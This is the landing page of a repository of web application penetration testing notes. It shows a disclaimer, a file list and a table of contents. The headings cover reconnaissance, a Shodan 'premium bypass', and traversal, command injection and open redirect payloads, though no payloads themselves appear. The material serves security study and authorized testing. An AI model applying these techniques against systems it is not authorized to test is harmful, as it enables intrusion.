It is the end user's responsibility to obey all applicable local, state and federal laws.

I assume no liability and am not responsible for any misuse or damage caused by this site. The resources I have used are too many to count and I am grateful and proud to be part of a community where knowledge is not hoarded but shared for the common good.

"If I have seen further it is by standing on the shoulders of Giants"

License

This documentation is provided for educational purposes only. Always ensure you have proper authorization before testing any systems.

Last Updated: 2025

Maintained by: [Your Name/Team]

Version: 1.0

Name		Name	Last commit message	Last commit date
Latest commit History 7 Commits
appendix		appendix
assets		assets
chapters		chapters
styles		styles
.gitignore		.gitignore
1README.md		1README.md
CHANGELOG.md		CHANGELOG.md
CONTRIBUTING.md		CONTRIBUTING.md
DEPLOYMENT.md		DEPLOYMENT.md
LICENSE		LICENSE
README.md		README.md
SETUP.md		SETUP.md
SUMMARY.md		SUMMARY.md
book.json		book.json
book.yaml		book.yaml
package.json		package.json

Folders and files

Latest commit

History

Repository files navigation

Web Application Penetration Testing Notes

📋 Table of Contents

Enumeration

Metodologi

Tools & Commands

Checklist

WebApp Pentest

Testing Phases

Metodologi OWASP

Attack Surface Recon

Attack Surface Components

Tools

Checklist

Subdomain Discovery

Passive Methods

Active Methods

Validation

Subdomain Takeover

Vulnerable Services

Detection

Manual Verification

Common Fingerprints

Port Scanning

Methodology

Common Ports to Check

Content Discovery

Tools & Techniques

Wordlists

Common Targets

Parameters

Parameter Discovery

Parameter Types

Testing Techniques

Vulnerability Scanners

Popular Scanners

Custom Scanning

GitHub Recon

Search Queries

Tools

What to Look For

Nuclei AI

Installation & Usage

Template Categories

Custom Templates

Shodan Dorking

Useful Dorks

Shodan CLI

Shodan Premium Bypass

All CMS

WordPress

Joomla

Drupal

Other CMS

Open Redirect

Common Parameters

Testing Payloads

Impact

Authentication Vulnerabilities

Types of Auth Vulns

Testing Checklist

Common Attacks

Directory Traversal

Basic Payloads

URL Encoded

Double Encoded

Common Targets

Bypass Techniques

OS Command Injection

Injection Points

Basic Payloads

Common Commands

Detection & Exploitation

Business Logic Vulnerabilities

Common Logic Flaws

Examples

Testing Methodology